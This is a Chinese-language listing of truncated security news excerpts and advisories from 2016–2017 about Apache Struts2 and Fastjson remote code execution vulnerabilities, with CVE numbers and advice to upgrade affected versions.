9月5日, Struts2远程代码执行漏洞CVE-2017-9805 s2-052 的事情刚搞完,7日Apache官方再出通告,又公告了一个远程代码执行漏洞CVE-2017-12611(S2-053),绿盟科技随即发布威胁预警通告,通告全文如下 Apache Struts2( S2-053 )远程代码执行漏洞威胁预警通告 2017年9月7日,Apache Struts发布最新的安全公告,Apache Struts 2 存在一个远程代码执行漏洞,漏洞编号为CVE-2017-12611(S2-053

Struts2爆远程代码执行漏洞(S2-045),附POC

本文讲的是Struts2爆远程代码执行漏洞(S2-045),附POC, 今天凌晨,安全研究员Nike Zheng在Struts2上发现一个高危漏洞(漏洞编号为CVE-2017-5638),当基于Jakarta Multipart解析器上传文件时,可能会导致远程代码执行. Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互.Struts 2以WebWork为核心,采

开发者论坛一周精粹(第一期):Fastjson远程代码执行漏洞

第一期(2017年3月13日-2017年3月19日 ) 2017年3月15日,Fastjson 官方发布安全公告,该公告介绍fastjson在1.2.24以及之前版本存在代码执行漏洞代码执行漏洞,恶意攻击者可利用此漏洞进行远程代码执行,从而进一步入侵服务器,目前官方已经发布了最新版本,最新版本已经成功修复该漏洞. [安全漏洞公告专区] [漏洞公告]Fastjson远程代码执行漏洞 发帖人:正禾 [教程] 新手服务器管理助手Linux版(宝塔)安装推荐 发帖人:梦丫头 [口碑商家客流量预测] 代码

Struts 2 再曝远程代码执行漏洞

今年4月份,Apache Struts 2之上发现的S2-033远程代码执行漏洞,以迅雷不及掩耳之势席卷而来.其利用代码很快就在短时间内迅速传播.而且官方针对这个高危漏洞的修复方案还是无效的. 悲剧的事情今天又再度发生了,这次发现的Struts 2新漏洞编号为CVE-2016-4438,该漏洞由国内PKAV团队-香草率先发现.这是又一个很严重的远程代码执行漏洞:使用REST插件的用户就会遭遇该问题. 有关该漏洞的详情如下: Apache Struts 2 S2-037 远程代码执行 漏洞编号:C

绿盟科技网络安全威胁周报2017.11 关注Apache Struts2 任意代码执行漏洞 CVE-2017-5638

绿盟科技发布了本周安全通告,周报编号NSFOCUS-17-11,绿盟科技漏洞库本周新增136条,其中高危63条.本次周报建议大家关注 Apache Struts2 任意代码执行漏洞 CVE-2017-5638 .目前漏洞细节以及利用工具已经曝光,可导致大规模对此漏洞的利用.强烈建议用户检查自己的Struts2是否为受影响的版本,如果是,请尽快升级. 焦点漏洞 Apache Struts2 任意代码执行漏洞 NSFOCUS ID 36031 CVE ID CVE-2017-5638 受影响版本 A